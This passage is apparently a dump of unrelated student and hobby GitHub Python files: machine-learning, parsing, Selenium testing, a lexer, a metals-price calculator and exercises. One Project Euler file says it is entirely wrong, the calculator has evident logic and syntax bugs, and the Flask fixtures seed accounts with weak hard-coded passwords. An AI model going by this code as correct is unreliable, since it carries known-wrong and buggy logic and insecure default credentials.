self.alpha * nabla_t/n\n\n        self.v -= self.beta * nabla_v/n\n        self.q -= self.beta * nabla_q/n\n\n    def back_propagation(self, x, y):\n        \"\"\"\n        Computes gradient components of `w`, `t`, `v` and `q` using the back\n        propagation method.\n        \"\"\"\n        current_g = sigmoid(np.dot(self.v, x) + self.q)\n        current_y = sigmoid(np.dot(self.w, current_g) + self.t)\n\n        delta_y = 2*(current_y-y) * sigmoid(current_y, deriv=True)\n\n        nabla_w = np.dot(delta_y, current_g.T)\n        nabla_t = delta_y\n\n        delta_g = np.dot(self.w.T, delta_y) * sigmoid(current_g, deriv=True)\n\n        nabla_v = np.dot(delta_g, x.T)\n        nabla_q = delta_g\n\n        return (nabla_w, nabla_t, nabla_v, nabla_q)\n","repo_name":"qwordax/cosii-2-4","sub_path":"network.py","file_name":"network.py","file_ext":"py","file_size_in_byte":2614,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"26855236684","text":"import time\nimport importlib\nimport logging\nfrom complexity_estimator.timeout import timeout\nfrom complexity_estimator.my_parser import MyParser\nfrom complexity_estimator.complexity import estimate_complexity\nfrom complexity_estimator.my_exceptions import UndefinedComplexityException,\\\n    TimeoutException\n\n\nclass Main:\n    def __init__(self, tested_module_name, size1, size2, size_to_check_time,\n                 time_to_check_size, my_timeout, to1, to2):\n        self.tested_module_name = tested_module_name\n        self.size1 = size1\n        self.size2 = size2\n        self.time_to_check_size = time_to_check_size\n        self.size_to_check_time = size_to_check_time\n        self.timeout = my_timeout\n        self.tested_object1 = to1\n        self.tested_object2 = to2\n\n    def execute(self, a, t, s):\n        t1 = a.measure(a.tested_object1)\n        t2 = a.measure(a.tested_object2)\n\n        print('Time: ', format(t1, '.6f'), 's for size: ', self.size1)\n        print('Time: ', format(t2, '.6f'), 's for size: ', self.size2)\n        try:\n            estimate_complexity(self.size1, self.size2, t1, t2, t, s)\n        except UndefinedComplexityException as ece:\n            logging.warning('Undefined complexity')\n            print(ece.strerror)\n        except Exception as ex:\n            logging.error('Error')\n            print(str(ex))\n\n    def start(self, my_timeout):\n        @timeout(my_timeout)  # setting timeout for executing program\n        def started():\n            with MyContextManager(self.tested_object1,\n                                  self.tested_object2) as A:\n                self.execute(A, self.time_to_check_size,\n                             self.size_to_check_time)\n\n        return started()\n\n\ndef time_measuring(decfunction):\n    def inner(*args, **kwargs):\n        start_time = time.time()\n        decfunction(*args, **kwargs)\n        end_time = time.time()\n        logging.debug('%r %2.2f sec' % (decfunction.__name__,\n                                        end_time - start_time))\n        return end_time - start_time\n\n    return inner\n\n\nclass MyContextManager:\n    def __init__(self, tested_object1, tested_object2):\n        self.tested_object1 = tested_object1\n        self.tested_object2 = tested_object2\n\n    def __enter__(self):\n        return self\n\n    def __exit__(self, *args, **kwargs):\n        logging.info('tearing down')\n        self.tested_object1.teardown()\n        self.tested_object2.teardown()\n\n    @time_measuring\n    def measure(self, tested, *args, **kwargs):\n        logging.info('measuring')\n        tested.measure(*args, **kwargs)\n\n\ndef run(module_name, size1, size2,\n        size_to_check_time, time_to_check_size, my_timeout=30):\n    logging.basicConfig(level=logging.DEBUG, filename='logs.log',\n                        format=' %(asctime)s - %(levelname)s - %(message)s')\n    try:\n        tested_module = importlib.import_module(module_name)\n        tested_class = getattr(tested_module, 'TestedClass')\n        logging.info('setting up modules')\n        start(module_name, size1, size2,\n              size_to_check_time, time_to_check_size, my_timeout, tested_class)\n    except ImportError as e:\n        print(e)\n        exit(1)\n\n\ndef start(module_name, size1, size2,\n          size_to_check_time, time_to_check_size, my_timeout, tested_class):\n    print('Starting...')\n    logging.info('setting up modules')\n    m = Main(module_name, size1, size2,\n             size_to_check_time, time_to_check_size, my_timeout,\n             tested_class(size1), tested_class(size2))\n    try:\n        m.start(my_timeout)\n    except TimeoutException:\n        print(\"Unfortunately the estimating function exceeded the \",\n              my_timeout, \" timeout. Try to change sizes of your problem\"\n                          \" or increase the timeout\")\n\n\ndef run_example():\n    \"\"\"Program will estimate the complexity of a sample module\n    sorting a list of numbers. It will show also estimated time\n    whithin the 10 million elements can be sorted and size\n    of list it can be sorded in one second\"\"\"\n    logging.basicConfig(level=logging.DEBUG, filename='logs.log',\n                        format=' %(asctime)s - %(levelname)s - %(message)s')\n    from complexity_estimator.tested_module import TestedClass\n    module_name = 'testedModule'\n    size1 = 100000\n    size2 = 1000000\n    size_to_check_time = 10000000\n    time_to_check_size = 1\n    my_timeout = 30\n    print(run_example.__doc__)\n    start(module_name, size1, size2,\n          size_to_check_time, time_to_check_size, my_timeout, TestedClass)\n\n\nif __name__ == \"__main__\":\n    run_example()\n    logging.basicConfig(level=logging.DEBUG, filename='logs.log',\n                        format=' %(asctime)s - %(levelname)s - %(message)s')\n\n    print('''Program estimates complexity of some algorithms given\n    in a specially created module containing 3 functions:\n          setup, measure and teardown. Additionally it shows estimated\n          running time of given size of problem\n          and also returns maximum size algorithm\n          it can be executed in given time''')\n    p = MyParser()\n    ars = p.args\n\n    run(ars.module, ars.size1, ars.size2,\n        ars.sizeToCheckTime, ars.timeToCheckSize, ars.timeout)\n","repo_name":"wkubaty/complexity-estimator","sub_path":"complexity_estimator/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5225,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"28046322864","text":"'''\n1. This file is used to find out the grasping angle between the z axis of the gripper and the -z axis of the table.\n2. Plot the angles as histogram\n'''\nimport numpy as np\nfrom matplotlib import pyplot as plt\nimport os\nimport pandas as pd\n\nplt.rcParams.update({'font.size': 22})\n\ndef axis_angle_to_rotmat(Rx,Ry,Rz):\n\n    R = np.zeros((3,3),dtype=float)\n    a1 = [Rx,Ry,Rz]\n    angle = np.linalg.norm(a1)\n    a1 = a1/angle\n\n    c = np.cos(angle)\n    s = np.sin(angle)\n    t = 1.0-c\n\n    R[0,0] = c + a1[0]*a1[0]*t\n    R[1,1] = c + a1[1]*a1[1]*t\n    R[2,2] = c + a1[2]*a1[2]*t\n\n    tmp1 = a1[0]*a1[1]*t\n    tmp2 = a1[2]*s\n    R[1,0] = tmp1 + tmp2\n    R[0,1] = tmp1 - tmp2\n\n    tmp1 = a1[0]*a1[2]*t\n    tmp2 = a1[1]*s\n    R[2,0] = tmp1 - tmp2\n    R[0,2] = tmp1 + tmp2\n\n    tmp1 = a1[1]*a1[2]*t\n    tmp2 = a1[0]*s\n    R[2,1] = tmp1 + tmp2\n    R[1,2] = tmp1 - tmp2\n\n    return R\n\n#### For all objects ######\n# Based on the data we have, get the angle\nmy_data = pd.read_csv('matched_pos_data_in_table_coordinates.csv', delimiter=',')\ndoc = open('grasp_orientation.csv','w')\ndoc.write('Image ID' + ',' + 'Angle' + '\\n')\nfor i in range((len(my_data))):\n    axis_ang = my_data.ix[i,'rx':'rz'] * my_data.ix[i,'rot_mag']\n    R = axis_angle_to_rotmat(axis_ang[0],axis_ang[1],axis_ang[2])\n    z_ang = R[:,2]\n    ang = np.arccos(z_ang @ np.array([0,0,-1]))  # The angle between the z axis of the gripper and the -z axis of the table\n    doc.write(str(my_data.ix[i,'id']) + ',' + str(ang) + '\\n')\n\n# Plot the histogram for all the objects\nmy_data2 = pd.read_csv('grasp_orientation.csv', sep=',')\nplt.hist(np.rad2deg(my_data2.loc[:,'Angle']),bins=300);\nplt.xlabel('Grasp orientation(degree)')\nplt.ylabel('Frequency')\nplt.savefig('histogram_all_objects2.eps', format = 'eps',bbox_inches='tight')\n\n#### For selected objects #####\n# Get the data needed for selected object\nall_data = pd.read_csv('gripper_pose.tsv',sep = '\\t',header=0)\nno_obstacle = all_data.loc[all_data.loc[:,'obstacles']==0]\nno_obstacle = no_obstacle.set_index('object')\n\nlong_vet_object = ['mustard bottle','medium timmies cup','blue jug','chips can','water bottle','soft scrub','soup can',\n                   'glue stick','sugar box','wine glass','timmies cup','plastic sleeve','plastic spiral','black flashlight',\n                   'flashlight','small green cup','tall plastic tube','small battery pack','rubber ducky','small blue cup',\n                   'small orange cup']\ntarget = no_obstacle.loc[long_vet_object,:]\ntarget.to_csv('target_object.csv', sep='\\t')\n\ndoc = open('target_object_grasp_orientation.csv','w')\ndoc.write('Image ID' + '\\t' + 'Angle' + '\\n')\nfor i in range((len(target))):\n    if np.isnan(target.iloc[i,0]):\n        pass\n    else:\n        axis_ang = target.ix[i,'rx':'m1']\n        R = axis_angle_to_rotmat(axis_ang[0],axis_ang[1],axis_ang[2])\n        z_ang = R[:,2]\n        ang = np.arccos(z_ang @ np.array([0,0,-1]))  # angle in radiance\n        doc.write(str(target.ix[i,'id']) + '\\t' + str(ang) + '\\n')\n# Plot the histogram for all selcted objects\nmy_data3 = pd.read_csv('target_object_grasp_orientation.csv',sep = '\\t',header=0)\nfig = plt.figure()\nplt.hist(np.rad2deg(my_data3.loc[:,'Angle']),bins=300);\nplt.xlabel('Grasp orientation(degree)')\nplt.ylabel('Frequency')\n# plt.title('Selected objects')\nplt.savefig('histogram_selected_objects.eps', format = 'eps',bbox_inches='tight')\n","repo_name":"x35yao/grasping","sub_path":"grasp_orientation/grasp_orientation.py","file_name":"grasp_orientation.py","file_ext":"py","file_size_in_byte":3368,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"40122927320","text":"import collections\r\nfrom functools import reduce\r\nfrom typing import List, Optional, Dict\r\n\r\nclass Solution:\r\n    def replaceWords(self, roots, sentence):\r\n        rootset = set(roots)\r\n\r\n        def replace(word):\r\n            for i in range(1, len(word)):\r\n                if word[:i] in rootset:\r\n                    return word[:i]\r\n            return word\r\n\r\n        return \" \".join(map(replace, sentence.split()))\r\n\r\n\r\nclass Solution2(object):\r\n    def replaceWords(self, roots, sentence):\r\n        Trie = lambda: collections.defaultdict(Trie)\r\n        trie = Trie()\r\n        END = True\r\n\r\n        for root in roots:\r\n            reduce(dict.__getitem__, root, trie)[END] = root\r\n\r\n        def replace(word):\r\n            cur = trie\r\n            for letter in word:\r\n                if letter not in cur or END in cur: break\r\n                cur = cur[letter]\r\n            return cur.get(END, word)\r\n\r\n        return \" \".join(map(replace, sentence.split()))\r\n\r\nclass Trie:\r\n    def __init__(self):\r\n        self.root = {}\r\n\r\n    def insert(self, word: str) -> None:\r\n        p = self.root\r\n        for c in word:\r\n            if c not in p:\r\n                p[c] = {}\r\n            p = p[c]\r\n        p[\"#\"] = \"end\"\r\n\r\n    def find(self, prefix: str) -> Optional[Dict]:\r\n        p = self.root\r\n        for c in prefix:\r\n            if c not in p: return None\r\n            p = p[c]\r\n        return p\r\n\r\n    def findAllWords(self, prefix: str) -> Optional[List]:\r\n        p = self.find(prefix)\r\n        if p:\r\n            result = self.list_words(p)\r\n            res = [prefix + i for i in result]\r\n            return res\r\n\r\n    def list_words(self, trie: Dict) -> List:\r\n        my_list = []\r\n        for k, v in trie.items():\r\n            if k != '#':\r\n                for el in self.list_words(v):\r\n                    my_list.append(k + el)\r\n            else:\r\n                my_list.append('')\r\n        return my_list\r\n\r\n\r\nif __name__ == '__main__':\r\n    trie = Trie()\r\n    trie.insert(\"apple\")\r\n    trie.insert(\"app\")\r\n    trie.insert(\"apkinstall\")\r\n    trie.insert(\"bde\")\r\n    print(trie.find(\"a\"))\r\n    print(trie.findAllWords(\"a\"))\r\n    sol = Solution()\r\n    print(sol.replaceWords([\"cat\", \"bat\", \"rat\"], \"the cattle was rattled by the battery\"))\r\n    sol2 = Solution2()\r\n    print(sol2.replaceWords([\"cat\", \"bat\", \"rat\"], \"the cattle was rattled by the battery\"))","repo_name":"pangyouzhen/data-structure","sub_path":"advance/648 replaceWords.py","file_name":"648 replaceWords.py","file_ext":"py","file_size_in_byte":2376,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"6073870181","text":"#[23] Dominik Rohal 12.11.2016\n# A perfect number is a number for which the sum of its proper divisors is exactly equal to the number.\n# For example, the sum of the proper divisors of 28 would be 1 + 2 + 4 + 7 + 14 = 28, which means that 28 is a perfect number.\n#\n# A number n is called deficient if the sum of its proper divisors is less than n and it is called abundant if this sum exceeds n.\n#\n# As 12 is the smallest abundant number, 1 + 2 + 3 + 4 + 6 = 16, the smallest number\n# that can be written as the sum of two abundant numbers is 24. By mathematical analysis,\n# it can be shown that all integers greater than 28123 can be written as the sum of two abundant numbers. However,\n# this upper limit cannot be reduced any further by analysis even though it is known that the greatest number\n# that cannot be expressed as the sum of two abundant numbers is less than this limit.\n#\n# Find the sum of all the positive integers which cannot be written as the sum of two abundant numbers.\n#limit = 28123\n\n#CELE ZLE!!!!!!\nzoznam = set()\ndef isAbundantNumber(number):\n    zoznamDelitelov = set()\n    #if (number > 2):\n    for k in range(1, (number//2) + 2):\n        if (number % k == 0):\n            zoznamDelitelov.add(k)\n    if (sum(zoznamDelitelov) > number): return True\n    else : return False\n\nprint(str(isAbundantNumber(158)))\n\n\n\ndef naplnZoznam():\n    sucet = 0\n    for k in range (2, 28123 + 1):\n        if (isAbundantNumber(k)):\n            zoznam.add(k)\n            print(\"+ \" + str(k))\n\ndef najdi():\n    # sum = 0\n    # for k in range (len(zoznam)):\n    #     for l in range (k, len(zoznam)):\n    #         if (zoznam[k] + zoznam[l] <= 28123):\n    #             sum += zoznam[k] + zoznam[l]\n    # return sum(range(28124)) - sum\n    sum = 0\n    for k in range(12, 28123):\n        for prvok in zoznam:\n            if prvok >= k and isAbundantNumber(k + prvok):\n                sum += k\n                print(str(k) + \" -- \" + str(sum))\n    print(sum)\n\n\n\nnaplnZoznam()\nnajdi()\n#print(str(najdi()))\n395456967\n\n\n","repo_name":"drohal3/ProjectEuler","sub_path":"problem23___ZLE/problem23.py","file_name":"problem23.py","file_ext":"py","file_size_in_byte":2018,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"42838936837","text":"roomsList = [[]]\n\nwith open(\"room_data.txt\", \"r\") as rooms:\n    line_num = 1\n    roomNum = -1\n    count = 0\n    bathroom = False\n    other = False\n    for line in rooms:\n        line_tag = line.split(\":\")\n\n        if len(line_tag) == 1:\n            if (other and not bathroom):\n                roomsList[roomNum].insert(-1, \"\")\n            line_num = 1\n            roomNum += 1\n            other = False\n            bathroom = False\n            roomsList.append([])\n\n        if line_num == 1:\n            room_name = line.split(\" \")\n            dorm_name = room_name[0]\n            room_number = room_name[1]\n            roomsList[roomNum].append(dorm_name.rstrip())\n            roomsList[roomNum].append(room_number.replace(\"\\n\", \"\").rstrip())\n\n        elif line_num == 2:\n            dim = line.split(\"-\")\n            dimensions = dim[0]\n            sq_ft = dim[1].strip().split(\" \")\n            area = int(sq_ft[0])\n            roomsList[roomNum].append(dimensions.rstrip().replace('\\'', 'ft').replace('\"', 'in'))\n            roomsList[roomNum].append(area)\n\n        else:\n            roomsList[roomNum].append(line.replace(\"\\xa0\", \" \").replace(\"\\n\",\"\").replace('\\'', \"ft\").replace('\"', \"in\").rstrip())\n            if \"Bath:\" in line:\n                bathroom = True\n            if \"Other:\" in line:\n                other = True\n\n        line_num += 1\n        count+=1\n\noutputFile = open(\"rooms.txt\", \"w\") #create output file, name is from command line args\nfor room in roomsList:\n    outputFile.write(\"$\".join(map(str, room)) + \"\\n\") # set $ as delimeter\noutputFile.close() #close output file\n","repo_name":"ilanashapiro/SageDorms","sub_path":"roomdata.py","file_name":"roomdata.py","file_ext":"py","file_size_in_byte":1597,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"70563812906","text":"# from selenium.common.exceptions import NoSuchElementException\nimport time\nfrom configurations.test_data import TestData\nfrom utilities.custom_logger import LogGen\nfrom test_cases.configtest import setup\nfrom page_objects.filters import FilterOptions\nfrom page_objects.cart import Cart\nfrom page_objects.signin import SignIn\nfrom page_objects.landingpage import LandingPage\nbase_url = TestData.base_url\nlogger = LogGen.loggen()\n    \nclass TestFunctionality:\n    \"\"\"Class describes the methods to test cases\"\"\"\n\n    def test_challenge_functionality(self, setup):\n        \"\"\"This methods tests functionality of the application\"\"\"\n\n        self.driver = setup\n        self.driver.get(base_url)\n        logger.info(\"*************Test Cases running**********************\")\n\n        \n        #instatianting the page object class\n        signin = SignIn(self.driver)\n        landing_page = LandingPage(self.driver)\n        filter_page = FilterOptions(self.driver)\n        cart_page = Cart(self.driver)\n        page_title = self.driver.title\n        if page_title == TestData.home_page_title:\n            \n            signin.click_signin_on_landingpage()\n            signin.signin_submit() \n            landing_page.navigate_to_tees()\n            filter_page.filter_options()\n            cart_page.add_to_cart()\n            cart_page.proceed_to_checkout()\n            cart_page.verify_cart_subtotal()\n            cart_page.verify_order_summary()\n            cart_page.print_values()\n            \n            time.sleep(10) \n           \n        else:\n            logger.error(\"***Tests  Fialed***\")\n            self.driver.save_screenshot(\"../screenshots/test_challenge3.png\")\n        self.driver.quit()\n\n\n","repo_name":"akram256/Selenium_Challenge","sub_path":"test_cases/test_challenge3.py","file_name":"test_challenge3.py","file_ext":"py","file_size_in_byte":1698,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"36453933934","text":"#!/usr/bin/python3\n\nfrom models.rectangle import Rectangle\n\n\"\"\"defines a class square\"\"\"\n\n\nclass Square(Rectangle):\n    \"\"\"class representing a square that inherits from rectangle\"\"\"\n\n    def __init__(self, size, x=0, y=0, id=None):\n        \"\"\"initialize an instance of a square\n        Args:\n            size (int): size of a square\n            y (int): y-coordinate\n            x (int): x-coordinate\n            id (int): identifier for the square\n        \"\"\"\n        super().__init__(size, size, x, y, id)\n\n    @property\n    def size(self):\n        \"\"\"get size of a square\"\"\"\n        return self.width\n\n    @size.setter\n    def size(self, value):\n        self.width = value\n        self.height = value\n\n    def update(self, *args, **kwargs):\n        \"\"\"update attributes of a square\n        Args:\n            *args(int): positional arguments for updating attributes\n            **kwargs(dict): keyword argument for updating attributes\n\n        \"\"\"\n        if args:\n            attributes = [\"id\", \"size\", \"x\", \"y\"]\n            for attribute, arg in enumerate(args):\n                if attribute < len(attributes):\n                    setattr(self, attributes[attribute], arg)\n\n        if kwargs:\n            for k, v in kwargs.items():\n                setattr(self, k, v)\n\n    def to_dictionary(self):\n        \"\"\"\n        Returns a dictionary representation of square\"\"\"\n        return {\n                \"id\": self.id,\n                \"size\": self.width,\n                \"x\": self.x,\n                \"y\": self.y\n            }\n\n    def __str__(self):\n        \"\"\"returns the string representation of a square\"\"\"\n        return \"[Square] ({}) {}/{} - {}\".format(self.id, self.x, self.y,\n                                                 self.width)\n","repo_name":"mwanyambu/alx-higher_level_programming","sub_path":"0x0C-python-almost_a_circle/models/square.py","file_name":"square.py","file_ext":"py","file_size_in_byte":1748,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"27691084248","text":"from flask_security import registerable, SQLAlchemyUserDatastore\nfrom voxolab.models import DecodeStatus, ProcessType, FileStatus\nfrom models import AsrModel, User, Role, MediaFile, Process, Transcription\n\ndef load_all_fixtures(db, app):\n\n    user_datastore = SQLAlchemyUserDatastore(db, User, Role)\n\n    # Load default fixtures\n    role = user_datastore.create_role(name=app.config['VOXO_ROLE_USER'], description='User role')\n    admin_role = user_datastore.create_role(name=app.config['VOXO_ROLE_ADMIN'], description='Admin role')\n    server_role = user_datastore.create_role(name=app.config['VOXO_ROLE_SERVER'], description='Server role')\n\n    user_vjousse = registerable.register_user(email='vincent@jousse.org', password='rire avec les robots')\n    user_datastore.add_role_to_user(user_vjousse, role)\n\n    print(\"{user} with token {token} created.\".format(user=user_vjousse.email, token=user_vjousse.get_auth_token()))\n\n    user = registerable.register_user(email='admin@voxolab.com', password='admin')\n    user_datastore.add_role_to_user(user, admin_role)\n    user_datastore.add_role_to_user(user, role)\n\n    print(\"{user} with token {token} created.\".format(user=user.email, token=user.get_auth_token()))\n\n    server = registerable.register_user(email='server@voxolab.com', password='server')\n    user_datastore.add_role_to_user(server, server_role)\n\n    print(\"{user} with token {token} created.\".format(user=server.email, token=server.get_auth_token()))\n\n    asr_model_french = AsrModel(\n        name=\"french.studio.fr_FR\",\n        description=\"General purpose french model\")\n\n    asr_model_french.users.append(user_vjousse)\n\n    db.session.add(asr_model_french)\n    db.session.flush()\n\n    asr_model_english = AsrModel(\n        name=\"english.studio\",\n        description=\"General purpose english model\")\n\n    asr_model_english.users.append(user_vjousse)\n\n    db.session.add(asr_model_english)\n    db.session.flush()\n\n    \n    media_file = MediaFile(\n            filename='fixture_file.wav', \n            status = FileStatus.Success, \n            user_id = user_vjousse.id,\n            size = 2500,\n            generated_filename = 'fixture_file_UUID.wav',\n            duration = 70\n            )\n\n    db.session.add(media_file)\n    db.session.flush()\n\n    process = Process(\n            file_id=media_file.id, \n            status = DecodeStatus.Queued, \n            )\n\n    db.session.add(process)\n    db.session.flush()\n\n    transcription = Transcription(\n            auto_filename='transcription.xml', \n            ref_filename='transcription.txt', \n            user_id = user_vjousse.id,\n            )\n\n    db.session.add(transcription)\n    db.session.flush()\n\n    process = Process(\n            file_id=media_file.id, \n            status = DecodeStatus.Queued, \n            type = ProcessType.TranscriptionAlignment,\n            transcription_id = transcription.id\n            )\n\n    db.session.add(process)\n    db.session.flush()\n\n\n\n    db.session.commit()\n","repo_name":"voxolab/voxo-dashboard","sub_path":"fixtures.py","file_name":"fixtures.py","file_ext":"py","file_size_in_byte":2971,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"8806280718","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Dec 16 12:55:39 2021\n\n@author: fatimagarcia\n\"\"\"\n\nclass analisislexico():\n    def __init__(self,texto):\n        self.texto=texto\n        self.T={     '+':('+','MAS') ,\n                '-':('-','MENOS') ,\n                '*':('*','POR') ,  \n                '/':('/','DIVISION ') ,\n                '(':('(',' ') ,\n                ')':(')',' ') ,\n                '{':('{',' ') ,\n                '}':('}',' ') , \n                '=':('=',' ') ,\n                '.':('.',' ') ,\n                ';':(';',' ') ,\n                '_':('_',' '), \n                '^':('',' ') ,\n                }\n        self.PalRes=(['raiz','cos','sen','tan','log','exp'])\n        self.cad='' \n        self.listatokens=[]\n    def initanal (self):\n        contd=0\n        while contd<len(self.texto): \n                aux=self.analizar(self.texto[contd])\n                if (aux=='simbolo'):# Error\n                    solucion=self.T.get(self.texto[contd],\"Error\")\n                    if  solucion != \"Error\":\n                        self.listatokens.append(solucion)\n                    else: print (\"eroro\")\n                    contd+=1\n                    \n                elif (aux=='numero'):\n                     while contd<len(self.texto) and (self.analizar(self.texto[contd]))=='numero' :\n                        self.cad+=self.texto[contd]\n                        contd+=1 \n                     self.meterToken('int')\n                elif (self.analizar(self.texto[contd]))=='letra':\n                     while contd<len(self.texto) and (self.analizar(self.texto[contd]))=='letra' :\n                        self.cad+=self.texto[contd]\n                        contd+=1\n                    \n                     self.meterToken('id')\n                else :\n                    contd+=1\n                    print('error')\n                \n            \n            \n    def meterToken(self,a): \n        if(a=='int'):\n            self.listatokens.append(((self.cad),'Num'))\n        else:\n            solucion= self.cad in self.PalRes\n            if solucion:\n                self.listatokens.append(('palres',self.cad))\n            else :\n                self.listatokens.append(('Id',self.cad))\n        \n        self.cad=''\n        \n    def gettoken(self):\n        for (a,b) in self.listatokens:\n            print ('<',a,',',b,'>')\n\n\n    def analizar(self,caracter):\n        resultado=''#creo una variable que almacenara el resultado\n        if( caracter.isnumeric()):\n            resultado='numero'\n        elif(caracter.isalpha()):\n            resultado='letra'\n        else:\n            resultado='simbolo'\n\n        return resultado\n    \n\nprueba='(cosx≠)'\np1=analisislexico(prueba)\np1.initanal()\np1.gettoken()\n\n\n\n\n\n\n\n","repo_name":"fgaga/L-F_tEAM","sub_path":"Procesadores/src/sprint1lexico.py","file_name":"sprint1lexico.py","file_ext":"py","file_size_in_byte":2767,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"42333093028","text":"def gramOunce(percent, grams):\r\n    oz = float((grams * percent)/31.1035)\r\n    return oz\r\n\r\npureGold = 0.99\r\nscrapGold = 0.985\r\nscrapSilverCoin = 0.95\r\nscrapDirtySilver = 0.90\r\n\r\nsterlingSilver = 0.925\r\neightQuarters = 0.50\r\nsevenQuarters = 0.65\r\nsixQuarters = 0.80\r\n\r\nounceConversion = 31.1035\r\n\r\ntotalGrams = float(input(\"Input the total grams\"))\r\n\r\nmetalType = input(\"A: Gold  B: Silver\")\r\n\r\nif metalType == \"A\":\r\n    goldType = input(\"A: Pure Gold  B: Scrap Gold\")\r\n    goldPercent = float(input(\"Input the percentage of Gold (decimal)\"))\r\n    spotPrice = float(input(\"Input the spot price of Gold\"))\r\n    fineOunces = gramOunce(goldPercent,totalGrams)\r\n\r\n    if goldType == \"A\":\r\n        comPrice = spotPrice * pureGold\r\n        ouncePrice = comPrice * fineOunces\r\n        print(spotPrice , \"   \" , \"Gold\" , \"   \" , fineOunces , \"   \" . comPrice , \"   \" , ouncePrice)\r\n    elif goldType == \"B\":\r\n        comPrice = spotPrice * scrapGold\r\n        ouncePrice = comPrice * fineOunces\r\n        print(spotPrice , \"   \" , \"Gold\" , \"   \" , fineOunces , \"   \" , comPrice , \"   \" , ouncePrice)\r\n    else:\r\n        print(\"Not a valid input\")\r\n\r\nelif metalType == \"B\":\r\n    typeSilverObject = input(\"A: Silver Melt    B: Silver Quarters \")\r\n    if typeSilverObject == 1:\r\n        silverType = input(\"A: Scrap Silver Coin    B: Scrap Dirty Silver\")\r\n        silverPercent = float(input(\"Input the percentage of Silver (decimal)\"))\r\n        spotPrice = float(input(\"Input the spot price of Silver\"))\r\n        fineOunces = gramOunce(silverPercent,totalGrams)\r\n\r\n        if silverType == \"A\":\r\n            comPrice = spotPrice * scrapSilverCoin\r\n            ouncePrice = comPrice * fineOunces \r\n            print(spotPrice , \"   \" , \"Silver\" , \"   \" , fineOunces , \"   \" , comPrice , \"   \" , ouncePrice)\r\n        elif silverType == \"B\": \r\n            comPrice = spotPrice * scrapDirtySilver\r\n            ouncePrice = comPrice * fineOunces \r\n            print(spotPrice , \"   \" , \"Silver\" , \"   \" , fineOunces , \"   \" , comPrice , \"   \" , ouncePrice)\r\n        else: \r\n            print(\"Input invalid\")\r\n\r\n    elif typeSilverObject == \"B\":\r\n        quarterType = input(\"A: 1968    B: 1967    C: 1966 and Prior\")\r\n        if quarterType == \"A\" or \"B\" or \"C\":\r\n            print(\"See Price Chart\")\r\n        else:\r\n            print(\"Error invalid input\")\r\n\r\n\r\n\r\nelif metalType == \"B\":\r\n    silverType = input(\"1: Scrap Silver Coin    2: Scrap Dirty Silver\")\r\n    silverPercent = input(\"Input the percent of Silver\")\r\nelse:\r\n    print(\"Not a valid input\") \r\n    \r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"AndrewProbert/Metals-Calculator","sub_path":"gold.py","file_name":"gold.py","file_ext":"py","file_size_in_byte":2562,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"18674322611","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sat Mar 23 21:22:13 2019\r\n\r\n@author: Rajesh D Borate\r\n\"\"\"\r\n\r\ndef intreverse(n):\r\n  ans = 0\r\n  while n > 0:\r\n    (d,n) = (n%10,n//10)\r\n    ans = 10*ans + d\r\n  return(ans)\r\n\r\ndef matched(s):\r\n  nested = 0\r\n  for i in range(0,len(s)):\r\n    if s[i] == \"(\":\r\n       nested = nested+1\r\n    elif s[i] == \")\":\r\n       nested = nested-1\r\n       if nested < 0:\r\n          return(False)    \r\n  return(nested == 0)\r\n\r\ndef factors(n):\r\n  factorlist = []\r\n  for i in range(1,n+1):\r\n    if n%i == 0:\r\n      factorlist = factorlist + [i]\r\n  return(factorlist)\r\n\r\ndef isprime(n):\r\n  return(factors(n) == [1,n])\r\n\r\n\r\ndef sumprimes(l):\r\n  sum = 0\r\n  for i in range(0,len(l)):\r\n    if isprime(l[i]):\r\n      sum = sum+l[i]\r\n  return(sum)\r\n\r\nimport ast\r\n\r\ndef tolist(inp):\r\n  inp = \"[\"+inp+\"]\"\r\n  inp = ast.literal_eval(inp)\r\n  return (inp[0],inp[1])\r\n\r\ndef parse(inp):\r\n  inp = ast.literal_eval(inp)\r\n  return (inp)\r\n\r\nfncall = input()\r\nlparen = fncall.find(\"(\")\r\nrparen = fncall.rfind(\")\")\r\nfname = fncall[:lparen]\r\nfarg = fncall[lparen+1:rparen]\r\n\r\nif fname == \"intreverse\":\r\n   arg = parse(farg)\r\n   print(intreverse(arg))\r\nelif fname == \"matched\":\r\n   arg = parse(farg)\r\n   print(matched(arg))\r\nelif fname == \"sumprimes\":\r\n   arg = parse(farg)\r\n   print(sumprimes(arg))\r\nelse:\r\n   print(\"Function\", fname, \"unknown\")\r\n\r\n","repo_name":"rajeshborate/NPTEL_Programming-Data_Structures_using_Python","sub_path":"week_02_Practice_Programming_Assignment.py","file_name":"week_02_Practice_Programming_Assignment.py","file_ext":"py","file_size_in_byte":1344,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"}
